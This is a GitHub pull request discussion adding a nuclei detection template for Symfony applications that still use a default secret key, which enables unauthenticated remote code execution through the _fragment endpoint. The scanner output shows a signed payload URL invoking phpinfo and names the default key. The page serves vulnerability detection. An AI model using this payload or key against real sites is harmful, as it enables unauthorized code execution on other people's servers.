Create symfony-default-key-rce #7642
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Add check for common symfony default key for easy RCE
Fix janky formatting from linter
pussycat0x
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the
Status: In Progress
ehsandeep
approved these changes
Dec 28, 2024
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@S4lt5 thanks! I've improved the template to cover additonal secret key with conditional flow execution.
$ nuclei -t http/misconfiguration/symfony/symfony-default-key-rce.yaml -u http://REDACTED
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____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.3.7
projectdiscovery.io
[INF] Current nuclei version: v3.3.7 (latest)
[INF] Current nuclei-templates version: v10.1.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 154
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[symfony-rce] [http] [critical] http://REDACTED/_fragment?_path=what%3D-1%26_controller%3Dphpinfo&_hash=Aiv3yak1oWJTGf1Dr1ibZstkhLATjp%2BoxULrAcmP%2Fl0%3D [secretkey="ThisTokenIsNotSoSecretChangeIt"]
ehsandeep
removed
the
Status: In Progress
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Add check for common symfony default key for easy unauthenticated RCE
Template / PR Information
When investigating https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/symfony-fragment.yaml I found a bunch of hits in the wild. Using the walkthrough, I was able to identify a lot of sites, in the wild, using the default symfony key. RCE was really trivial and there really isn't a CVE here I don't think.
I created this template to catch the lowest hanging fruit. There are some other defaults coverd in the primary reference in the template, but I'm not sure how many extra requests are worth sending out on a 'critical' scan.
There may be a case to add the following keys and make this a multiple 'step 2' set of requests:
That said, this covers what was overwhelmingly most common in my experience, the old default "changeme" symfony key.
Template Validation
I've validated this template locally?